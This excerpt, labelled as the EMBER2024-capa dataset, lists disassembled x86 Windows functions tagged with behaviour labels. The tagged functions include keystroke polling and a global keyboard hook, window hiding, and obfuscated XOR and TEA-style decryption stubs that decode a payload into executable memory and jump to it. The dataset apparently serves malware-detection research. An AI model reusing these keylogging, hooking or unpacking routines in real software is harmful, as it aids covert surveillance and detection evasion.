joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43711c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x437168
mov eax, esi
call fcn.0044c960
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x437168
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x437168
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x4372a7
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x4371a8
cmp eax, 0x108
ja 0x4371a8
mov eax, esi
call fcn.0044c960
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43729e
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x4372a7
jmp 0x43729e
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x437287
cmp eax, 0x20a
ja 0x437287
test byte [esi + 0x50], 0x80
jne 0x4371da
sub eax, 0x203
je 0x4371d7
sub eax, 3
je 0x4371d7
sub eax, 3
jne 0x4371da
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4371ee
dec eax
je 0x437203
dec eax
je 0x437220
dec eax
je 0x437203
jmp 0x437227
mov ecx, ebx
mov eax, dword [0x45c140]
mov eax, dword [eax]
mov edx, esi
call fcn.004562d0
jmp 0x43729e
cmp byte [esi + 0x5d], 1
jne 0x437219
mov eax, esi
mov si, 0xffed
call fcn.00403eb4
jmp 0x4372a7
or word [esi + 0x54], 1
jmp 0x43729e
and word [esi + 0x54], 0xfffe
jmp 0x43729e
mov eax, dword [0x45db10]
cmp byte [eax + 0x20], 0
je 0x43729e
mov eax, dword [0x45db10]
cmp dword [eax + 0x1c], 0
je 0x43729e
mov eax, dword [ebx]
mov edx, dword [0x45db10]
cmp eax, dword [edx + 0x1c]
jne 0x43729e
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0044c8a4
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403eb4
jmp 0x4372a7
cmp eax, 0xb00b
jne 0x43729e
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.00435a3c
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x440ffc
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45c2c8]
cmp byte [eax + 0xc], 0
je 0x441169
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x441162
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45db64], 0
jne 0x441050
push 0x441170
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x441178
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db64], eax
cmp dword [0x45bc08], 0
jne 0x44114b
push 0x441188
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45bc08], eax
cmp dword [0x45bc08], 0
je 0x44114b
push 0x441194
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db68], eax
push 0x4411a4
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db6c], eax
push 0x4411b8
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db70], eax
push 0x4411d0
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db74], eax
push 0x4411e8
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db78], eax
push 0x4411fc
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db7c], eax
push 0x441214
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db80], eax
push 0x44122c
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db84], eax
push 0x441248
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db88], eax
push 0x441254
mov eax, dword [0x45bc08]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45db8c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x441169
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x444ff4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404a38
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x445043
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404ca8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44c814
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c864]
test si, 4
je 0x44c828
or bl, 1
test si, 8
je 0x44c832
or bl, 4
test si, 1
je 0x44c83c
or bl, 8
test si, 2
je 0x44c846
or bl, 0x10
test si, 0x10
je 0x44c850
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c85f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44c868
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c8a0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c881
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c890
or bl, 4
test esi, 0x20000000
je 0x44c89b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x452f64
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x452f76
add esp, 0xfffffff0
call fcn.00403fe4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a8c4
mov eax, dword [0x45bf54]
mov dword [eax + 4], ebx
mov dword [eax], 0x453308
mov eax, dword [0x45bf64]
mov dword [eax + 4], ebx
mov dword [eax], 0x453314
mov eax, ebx
call fcn.00453320
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x412bbc]
call fcn.00403c7c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x412bbc]
call fcn.00403c7c
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x412bbc]
call fcn.00403c7c
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x412bbc]
call fcn.00403c7c
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x412bbc]
call fcn.00403c7c
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44f738
push eax
push 0
push 0
mov eax, dword [0x45c0bc]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41c318]
call fcn.0041dab0
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41c318]
call fcn.0041dab0
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41c318]
call fcn.0041dab0
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00453770
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453638
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453638
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453638
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4530b3
call fcn.0040403c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45341c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4535c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4535a8
mov dl, 1
mov eax, dword [0x412fd8]
call fcn.00403c7c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404a38
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x453597
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044135c
test al, al
je 0x45358a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4535d8
lea eax, [ebp - 0x254]
call fcn.00409c68
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45358a
xor eax, eax
push ebp
push 0x453583
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x453610
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45356c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404ca8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45356c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404ca8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45358a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45348d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416ab4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4535ce
lea eax, [ebp - 0x260]
call fcn.00404a38
ret

Function at 0x453f10
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45dbb0]
cmp byte [eax + 0xa5], 0
jne 0x453f81
cmp dword [0x45dbc8], 0
jne 0x453f42
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x453ecc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45dbc8], eax
cmp dword [0x45dbc4], 0
jne 0x453f5d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45dbc4], eax
cmp dword [0x45dbcc], 0
jne 0x453f81
push esp
push 0
push 0
push 0x453e70
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45dbcc], eax
pop edx
ret
Function at 0x454614
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45dbb0]
cmp dword [eax + 0x30], 0
je 0x4546be
cmp dword [ebx + 0x94], 0
jne 0x4546b8
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4545a4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4546b8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45467e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4546b8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414f24
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45468d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45521c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x455251
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404b28
jmp 0x45525e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404a8c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x456418
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x456459
mov eax, esi
call fcn.0043c988
test al, al
je 0x456459
mov eax, dword [ebx + 0x84]
call fcn.0043c684
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x456459
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043c684
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x456d0c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x456e7e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [esi], eax
mov eax, edi
call fcn.00404a38
lea eax, [ebp - 0xc]
push eax
mov eax, ebx
call fcn.00404ef8
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x456e63
mov eax, dword [ebp - 0xc]
call fcn.00402a78
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x456e5c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
mov eax, ebx
call fcn.00404ef8
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x456e43
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0x456e8c
mov eax, dword [ebp - 4]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x456e43
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp - 8]
and eax, dword [edx + 0x18]
mov dword [esi], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
shr eax, 0x10
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.00408cf8
push dword [ebp - 0x14]
push 0x456e98
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
and eax, 0xffff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.00408cf8
push dword [ebp - 0x18]
push 0x456e98
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
shr eax, 0x10
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.00408cf8
push dword [ebp - 0x1c]
push 0x456e98
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
and eax, 0xffff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00408cf8
push dword [ebp - 0x20]
mov eax, edi
mov edx, 7
call fcn.00404db8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456e63
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00402aa8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456e85
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00404a5c
ret

Function at 0x456f54
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, eax
push 1
push 0x456f7c
push 0x456f7c
mov eax, ebx
call fcn.00404ef8
push eax
push 0x456f80
push 0
call sub.shell32.dll_ShellExecuteA
pop ebx
ret
Function at 0x456f88
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, dword [ebp + 8]
mov byte [ebp - 5], 0
xor eax, eax
mov dword [edi], eax
xor eax, eax
mov dword [esi], eax
mov eax, ebx
call fcn.00404ef8
push eax
mov eax, dword [ebp - 4]
call fcn.00404ef8
push eax
push 0
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x456ff7
push ebx
push 0
call sub.kernel32.dll_LoadResource
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x456ff7
push ebx
push 0
call sub.kernel32.dll_SizeofResource
mov dword [esi], eax
cmp dword [esi], 0
je 0x456ff7
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LockResource
mov dword [edi], eax
cmp dword [edi], 0
setne byte [ebp - 5]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0

Function at 0x430000
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x24c95c35
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x389f33de
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401c66
pop dword [ebp - 0x18]
mov eax, 0xea2e1301
add eax, 0x16120965
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x341e40fb
sub dword [ebp - 0x28], 0xe5cbfbb0
mov dword [ebp - 0x24], 0x7e0a4063
sub dword [ebp - 0x24], 0x4bd6f41e
mov dword [ebp - 0x20], 0x653a817e
sub dword [ebp - 0x20], 0x18ee3d50
mov dword [ebp - 0x1c], 0xa149df71
sub dword [ebp - 0x1c], 0xa149df71
lea eax, [ebp - 0x28]
push eax
mov eax, 0x236e42c
add eax, 0xfe094c28
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x657e4c58
sub dword [ebp - 0x28], 0xf10be302
mov dword [ebp - 0x24], 0x211ba265
add dword [ebp - 0x24], 0x2050bf10
mov dword [ebp - 0x20], 0xb0002cee
sub dword [ebp - 0x20], 0x4c90c082
mov dword [ebp - 0x1c], 0x40569470
add dword [ebp - 0x1c], 0xbfa96b90
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xe2376a3d
sub eax, 0xe1f73a11
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b91e
push 0
call eax
mov ecx, 0x5c5b
mov ebx, eax
mov esi, 0x407000
add esi, dword [ebp - 0x18]
mov edx, 0x8a432187
sub edx, 0xf88d1283
sub dword [ebp - 0x10], edi
mov edi, dword [esi]
xor dword [ebp - 0xc], esi
sub edi, edx
add dword [ebp - 8], eax
mov dword [ebx], edi
sub dword [ebp - 4], eax
add ebx, 4
add esi, 0x8ca7fb09
sub esi, 0x8ca7fb05
loop 0x401d7c
add eax, 0x3fc41eea
add eax, 0xc03d4555
xor ebx, ebx
add ebx, eax
add eax, 0xc05fe346
add eax, 0x3fa01cbf
mov ecx, 0x2938714e
sub ecx, 0x28f8714e
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401f2e
Capabilities:
Get common file path

Disassembly:
sub esp, 0x550
and dword [esp + 0xc], 0
push ebx
mov ebx, ecx
lea ecx, [esp + 0x10]
push ebp
push esi
mov esi, edx
mov dword [esp + 0x2c], ebx
mov eax, dword [ebx]
mov dword [esp + 0x20], eax
push edi
mov eax, dword [esi]
mov edi, dword [ebx + 4]
mov dword [esp + 0x34], eax
mov eax, dword [esi + 4]
mov dword [esp + 0x38], eax
call fcn.00401dd4
mov ebp, dword [esp + 0x1c]
mov eax, dword [esi + 0xc]
add ebp, 0x23f
mov ebx, dword [esi + 8]
push 0x20
mov dword [esp + 0x20], ebp
mov dword [esp + 0x30], eax
pop esi
mov dword [esp + 0x28], 2
add dword [esp + 0x28], 3
mov edx, dword [esp + 0x24]
mov eax, edx
shl eax, 4
add eax, ebx
mov dword [esp + 0x18], 0xedeb2e40
cmp dword [0x2c89604], 0xfa9
mov dword [esp + 0x10], eax
mov eax, dword [0x2c89648]
cmove eax, dword [esp + 0x18]
and dword [esp + 0x18], 0
cmp dword [0x2c89604], 0x3eb
mov dword [0x2c89648], eax
mov eax, dword [0x2c89650]
cmove eax, dword [esp + 0x18]
mov dword [0x2c89650], eax
lea eax, [edx + ebp]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x24]
shr eax, 5
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x10]
xor ebp, ebp
mov eax, dword [esp + 0x14]
xor ecx, dword [esp + 0x18]
add eax, dword [esp + 0x2c]
xor eax, ecx
mov dword [0x2c8964c], 0xf4ea3dee
cmp dword [0x2c89604], 0x213
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jne 0x402061
push ebp
push ebp
push ebp
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push ebp
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea eax, [esp + 0x160]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.gixecig_powobiwuvagexagecuwodinupuyugu
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
mov eax, dword [esp + 0x14]
sub edi, eax
mov eax, edi
mov dword [esp + 0x3c], edi
shl eax, 4
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
add dword [esp + 0x10], eax
mov dword [esp + 0x20], ebp
mov eax, dword [esp + 0x1c]
add dword [esp + 0x20], eax
mov eax, dword [esp + 0x3c]
nop
add dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x28]
mov eax, edi
shr eax, cl
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x38]
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x18]
xor dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
sub dword [esp + 0x24], eax
mov edx, 0x9e3779b9
lea ecx, [esp + 0x1c]
call fcn.00401f25
dec esi
je 0x4020d7
mov ebp, dword [esp + 0x1c]
jmp 0x401f7f
mov ebx, dword [esp + 0x30]
mov eax, dword [esp + 0x24]
mov dword [ebx + 4], edi
pop edi
pop esi
pop ebp
mov dword [ebx], eax
pop ebx
add esp, 0x550
ret